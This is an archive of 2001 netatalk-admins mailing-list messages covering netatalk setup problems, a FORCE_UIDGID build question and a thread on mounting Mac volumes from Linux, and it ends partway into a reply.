Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA10407
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 18 Aug 2001 11:32:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA10396
	for netatalk.administrators-members@umich.edu; Sat, 18 Aug 2001 11:32:42 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA10367
	for <netatalk-admins@umich.edu>; Sat, 18 Aug 2001 11:32:41 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id QAA13895;
	Sat, 18 Aug 2001 16:32:45 +0100
Date: Sat, 18 Aug 2001 16:32:45 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Netatalk-devel@lists.sourceforge.net
cc: netatalk-admins@umich.edu
Subject: FORCE_UIDGID
In-Reply-To: <Pine.LNX.4.21.0108181520470.11900-100000@frank.gwc.org.uk>
Message-ID: <Pine.LNX.4.21.0108181613070.11900-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Is anyone aware what the status of the FORCE_UIDGID code is? When I
compile with --enable-force-uidgid, I am unable to mount any volumes. They
all appear in the chooser but are greyed out....

I might spend the time to fix this option but first I would like to know
if anybody has had it working yet.

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sun Aug 19 22:38:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA13931
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 19 Aug 2001 22:38:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA18718
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 19 Aug 2001 22:38:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA18698
	for netatalk.administrators-members@umich.edu; Sun, 19 Aug 2001 22:38:23 -0400 (EDT)
Received: from mail08.voicenet.com (mail08.voicenet.com [207.103.0.34])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id WAA18672
	for <netatalk-admins@umich.edu>; Sun, 19 Aug 2001 22:38:22 -0400 (EDT)
Received: (qmail 22170 invoked from network); 20 Aug 2001 02:38:35 -0000
Received: from dialup1437-pri.dialup14.voicenet.com (HELO ?209.71.51.97?) (209.71.51.97)
  by mail08.voicenet.com with SMTP; 20 Aug 2001 02:38:35 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 19 Aug 2001 22:39:33 -0400
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere 
From: "D. L. Fuller" <dlfuller@voicenet.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7A5EB1D.1D64%dlfuller@voicenet.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Thanks all for the suggestions with my newbie problems getting Appletalk
working.

After being away from the problem for several days, I got back to it this
weekend and finally have success.

The key was Thomas Kaiser's <Thomas.Kaiser@phg-online.de> comments.
Particularly the ftp for the SuSE rpm version
<ftp://ftp.suse.com/pub/suse/i386/7.2/suse/n2/netatalk.rpm>.

I couldn't follow some of the other suggestions since my SuSE personal did
not include netatalk.   Plus it also took me a while to learn the
distinction between various Linux versions with differing instructions and
how-tos.   Different locations, different filenames, different procedures,
etc.  It all added to my frustration in not being able to follow directions!

I cleaned-out leftover files from the previous attempts and installed the
SuSE rpm version using the package manager.  Netatalk still didn't work, but
the situation started to make sense.

Next was the "put-the-plug-in-stupid" item.  I booted into Win98 and tried
MS networking to a Win emulator on one of the Macs.  And that didn't work.

Eureka!  Okay now try a different ethernet card.  MS networking now worked.
Configure the new card in Linux -- and netatalk now worked!

A defective, brand new card.  The moral of this saga -- make sure the
network works before diving into netatalk.

Another moral for newbies is to watch out for those differences between
distributions and versions.

Thanks again to all who were willing to take time to help me.  All those
suggestions were steps on the way to a solution.

--Don Fuller


From netatalk.administrators-errors@umich.edu  Tue Aug 21 16:52:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA28352
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 21 Aug 2001 16:52:03 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA01452
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 21 Aug 2001 16:52:03 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01437
	for netatalk.administrators-members@umich.edu; Tue, 21 Aug 2001 16:52:02 -0400 (EDT)
Received: from simile ([63.210.254.130])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA01414
	for <netatalk-admins@umich.edu>; Tue, 21 Aug 2001 16:52:01 -0400 (EDT)
Received: from [63.210.254.132] (helo=windev)
	by simile with smtp (Exim 3.22 #1 (Debian))
	id 15ZIWI-0004IH-00
	for <netatalk-admins@umich.edu>; Tue, 21 Aug 2001 16:53:06 -0400
From: "Mark Celsor" <mark@metaphorstudio.com>
To: <netatalk-admins@umich.edu>
Subject: subscribe
Date: Tue, 21 Aug 2001 16:55:12 -0400
Message-ID: <EFEJJGPNHELPFJNKPELPOEIDCFAA.mark@metaphorstudio.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200



Mark Celsor
Site Engineer

The Metaphor Studio, LLC
1216 Central Parkway
Cincinnati, Ohio 45210
513.723.0290
http://www.metaphorstudio.com 

From netatalk.administrators-errors@umich.edu  Wed Aug 22 03:42:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA24715
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 03:42:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA07743
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 03:42:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA07735
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 03:42:45 -0400 (EDT)
Received: from mailout00.sul.t-online.de (mailout00.sul.t-online.com [194.25.134.16])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA07712
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 03:42:44 -0400 (EDT)
Received: from fwd03.sul.t-online.de 
	by mailout00.sul.t-online.de with smtp 
	id 15ZSex-0003ax-01; Wed, 22 Aug 2001 09:42:43 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.141]) by fmrl03.sul.t-online.com
	with esmtp id 15ZSem-1sESiOC; Wed, 22 Aug 2001 09:42:32 +0200
Mime-Version: 1.0
Message-Id: <a05100301b7a8529ecf28@[192.168.0.33]>
Date: Tue, 21 Aug 2001 20:04:56 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Mount Macs on Linux
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA24715

Hi,

is there a possibility to mount a Mac-Volume on the linux box?
I'm running a FileMaker-Mac-Server and I want to backup the data with 
the linux box.
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Wed Aug 22 05:34:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA28989
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 05:34:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA17469
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 05:33:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA17467
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 05:33:58 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17446
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 05:33:55 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GIGQKX00.I29 for <netatalk-admins@umich.edu>; Wed, 22
          Aug 2001 11:34:09 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B837C90.F854AEC7@fcb-wilkens.com>
Date: Wed, 22 Aug 2001 11:34:08 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: low traffic on the list?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,

it seems I only got half a dozen messages from the list since last saturday.
Is there low traffic right now, or is something broken (if not with the list, I
need to take a closer look at our mail server).

Regards,
	Harald
-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Wed Aug 22 08:28:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA03696
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 08:28:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA27402
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 08:28:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA27400
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 08:28:12 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id IAA27380
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 08:28:10 -0400 (EDT)
X-VirusChecked: Checked
Received: (qmail 17356 invoked from network); 22 Aug 2001 12:19:31 -0000
Received: from smtp.morse.com (HELO bsexch2.morse.com) (195.152.231.118)
  by server-41.tower-1.london-2.starlabs.net with SMTP; 22 Aug 2001 12:19:31 -0000
Received: by bsexch2.morse.com with Internet Mail Service (5.5.2653.19)
	id <PQCQVVPG>; Wed, 22 Aug 2001 13:23:52 +0100
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E3A6@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: =?iso-8859-1?Q?=27J=FCrgen_Weltzer=27?=
	 <weltzer@werbeagentur-weltzer.de>,
        netatalk-admins@umich.edu
Subject: AW: Mount Macs on Linux
Date: Wed, 22 Aug 2001 13:17:11 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA03696

Yes, you can try afpfs to mount a mac volume on your linux

http://www.panix.com/~dfoster/afpfs/

Please send your test-report...

greetings

- tom

------------------------------------------------------
                            T h o m a s  B a u m a n n
                                     Postfach 11 01 15
tom@tiri.li                          D-64216 Darmstadt
Tel. 07000 6646466  Fax 070000 329329 (= 070000 FAXFAX)
------------------------------------------------------

-----Ursprüngliche Nachricht-----
Von: Jürgen Weltzer [mailto:weltzer@werbeagentur-weltzer.de]
Gesendet: Dienstag, 21. August 2001 20:05
An: netatalk-admins@umich.edu
Betreff: Mount Macs on Linux


Hi,

is there a possibility to mount a Mac-Volume on the linux box?
I'm running a FileMaker-Mac-Server and I want to backup the data with 
the linux box.
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Wed Aug 22 09:14:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05937
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 09:14:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA02855
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 09:14:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02848
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 09:14:12 -0400 (EDT)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA02826
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 09:14:11 -0400 (EDT)
Received: from ns01-n70-132.de.inter.net ([213.73.70.132] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15ZXpi-0006B9-00
	for netatalk-admins@umich.edu; Wed, 22 Aug 2001 15:14:10 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id PAA10576
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 15:13:49 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Mount Macs on Linux
Date: Wed, 22 Aug 2001 15:07:01 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <a05100301b7a8529ecf28@[192.168.0.33]>
In-Reply-To: <a05100301b7a8529ecf28@[192.168.0.33]>
MIME-Version: 1.0
Message-Id: <01082215134800.10355@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA05937

On Tue, 21 Aug 2001, Jürgen Weltzer wrote:
> Hi,
> 
> is there a possibility to mount a Mac-Volume on the linux box?
> I'm running a FileMaker-Mac-Server and I want to backup the data with 
> the linux box.
> -- 
> Viele Grüße
> Jürgen Weltzer

One might say "yes", there is a project named "afpfs".
But it's highly unstable and not maintained since october 1999.
I've tried it earlier this year with a 2.2.13 kernel with very little success.
It crashed and I uninstalled it.

Best regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Aug 22 09:48:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA07648
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 09:48:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA00227
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 09:48:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00220
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 09:48:49 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA00213
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 09:48:48 -0400 (EDT)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f7MDmmM30972;
	Wed, 22 Aug 2001 09:48:48 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 9973919DD1E; Wed, 22 Aug 2001 09:48:48 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 97593E6B93; Wed, 22 Aug 2001 09:48:48 -0400 (EDT)
Date: Wed, 22 Aug 2001 09:48:48 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Mount Macs on Linux
In-Reply-To: <a05100301b7a8529ecf28@[192.168.0.33]>
Message-ID: <Pine.LNX.4.33.0108220946400.11046-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT


Your can also try to use NFS. Note I say *try*... There is MacNFS
available at http://prozac.cwru.edu/jude/macnfs/Macnfsd.html however I
don't recall ever having much luck with it, and it has not been maintained
for a while...

On Tue, 21 Aug 2001, Jürgen Weltzer wrote:

> Hi,
>
> is there a possibility to mount a Mac-Volume on the linux box?
> I'm running a FileMaker-Mac-Server and I want to backup the data with
> the linux box.
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Wed Aug 22 09:53:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA07870
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 09:53:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA04384
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 09:53:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04375
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 09:53:46 -0400 (EDT)
Received: from is1.beaconmicro.com (is1.beaconmicro.com [216.81.197.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA04358
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 09:53:45 -0400 (EDT)
Received: by beaconmicro.com.197.81.216.in-addr.arpa with Internet Mail Service (5.5.2653.19)
	id <PR4KJ0HB>; Wed, 22 Aug 2001 08:45:07 -0500
Message-ID: <D118B0D42F70D211981D0008C756F2FA28320E@beaconmicro.com.197.81.216.in-addr.arpa>
From: Dan Sloan <dan.sloan@beaconmicro.com>
To: netatalk-admins@umich.edu
Subject: unsubscribe
Date: Wed, 22 Aug 2001 08:45:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"



From netatalk.administrators-errors@umich.edu  Wed Aug 22 10:40:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10759
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 10:40:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA14949
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 10:40:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14941
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 10:40:41 -0400 (EDT)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA14927
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 10:40:40 -0400 (EDT)
Received: from unix1.cc.ksu.edu (sto9013@unix1.cc.ksu.edu [129.130.12.3])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with ESMTP id JAA10962;
	Wed, 22 Aug 2001 09:40:39 -0500 (CDT)
Received: from localhost (sto9013@localhost)
	by unix1.cc.ksu.edu (8.8.8+Sun/8.8.8) with ESMTP id JAA23319;
	Wed, 22 Aug 2001 09:40:39 -0500 (CDT)
X-Authentication-Warning: unix1.cc.ksu.edu: sto9013 owned process doing -bs
Date: Wed, 22 Aug 2001 09:40:39 -0500 (CDT)
From: Seanano <sto9013@ksu.edu>
X-X-Sender:  <sto9013@unix1.cc.ksu.edu>
To: =?X-UNKNOWN?Q?J=FCrgen_Weltzer?= <weltzer@werbeagentur-weltzer.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: Mount Macs on Linux
In-Reply-To: <Pine.LNX.4.33.0108220946400.11046-100000@localhost.localdomain>
Message-ID: <Pine.GSO.4.33L.0108220930020.21202-100000@unix1.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id KAA10759

  What about writing an applescript to mount the netatalk share on the mac
box and then copy the files over?  Then, just include that share in the
stuff you backup. The script wouldn't be very complicated, just a simple
connect and copy.  You could use the cron program for MacOS to have it run
whenever it needs to.

Sean



On Tue, 21 Aug 2001, Jürgen Weltzer wrote:

> Hi,
>
> is there a possibility to mount a Mac-Volume on the linux box?
> I'm running a FileMaker-Mac-Server and I want to backup the data with
> the linux box.



From netatalk.administrators-errors@umich.edu  Wed Aug 22 11:26:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 11:26:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA25140
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 11:26:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25137
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 11:26:00 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25122
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 11:25:59 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 03759452B5; Wed, 22 Aug 2001 10:25:58 -0500 (CDT)
Date: Wed, 22 Aug 2001 10:25:58 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: Seanano <sto9013@ksu.edu>
Cc: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>,
        netatalk-admins@umich.edu
Subject: Re: Mount Macs on Linux
Message-ID: <20010822102558.D23465@newwww.teleologic.net>
References: <Pine.LNX.4.33.0108220946400.11046-100000@localhost.localdomain> <Pine.GSO.4.33L.0108220930020.21202-100000@unix1.cc.ksu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <Pine.GSO.4.33L.0108220930020.21202-100000@unix1.cc.ksu.edu>; from sto9013@ksu.edu on Wed, Aug 22, 2001 at 09:40:39AM -0500
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Tis is something I've wanted to do for a while, but I've been to lazy to
use the many search engines to find.  Is there a good site out there to
teach Applescript to experienced programmers who don't know much about Mac
internals? :)

--Danny

Seanano wrote regarding 'Re: Mount Macs on Linux' on Wed, Aug 22 at 09:51:
>   What about writing an applescript to mount the netatalk share on the mac
> box and then copy the files over?  Then, just include that share in the
> stuff you backup. The script wouldn't be very complicated, just a simple
> connect and copy.  You could use the cron program for MacOS to have it run
> whenever it needs to.
> 
> Sean

From netatalk.administrators-errors@umich.edu  Wed Aug 22 11:51:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 22 Aug 2001 11:51:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA18672
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 22 Aug 2001 11:51:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18661
	for netatalk.administrators-members@umich.edu; Wed, 22 Aug 2001 11:51:02 -0400 (EDT)
Received: from jaka.ece.uiuc.edu (jaka.ece.uiuc.edu [128.174.113.136])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA18643
	for <netatalk-admins@umich.edu>; Wed, 22 Aug 2001 11:51:01 -0400 (EDT)
Received: (from stuckey@localhost)
	by jaka.ece.uiuc.edu (8.9.3/8.9.3) id KAA08816;
	Wed, 22 Aug 2001 10:50:39 -0500
Date: Wed, 22 Aug 2001 10:50:39 -0500
From: Tony Stuckey <stuckey@jaka.ece.uiuc.edu>
To: Danny Sauer <dsauer@teleologic.net>
Cc: Seanano <sto9013@ksu.edu>,
        =?iso-8859-1?Q?J=FCrgen_Weltzer?= <weltzer@werbeagentur-weltzer.de>,
        netatalk-admins@umich.edu
Subject: Re: Mount Macs on Linux
Message-ID: <20010822105039.A8807@jaka.ece.uiuc.edu>
References: <Pine.LNX.4.33.0108220946400.11046-100000@localhost.localdomain> <Pine.GSO.4.33L.0108220930020.21202-100000@unix1.cc.ksu.edu> <20010822102558.D23465@newwww.teleologic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <20010822102558.D23465@newwww.teleologic.net>

On Wed, Aug 22, 2001 at 10:25:58AM -0500, Danny Sauer wrote:
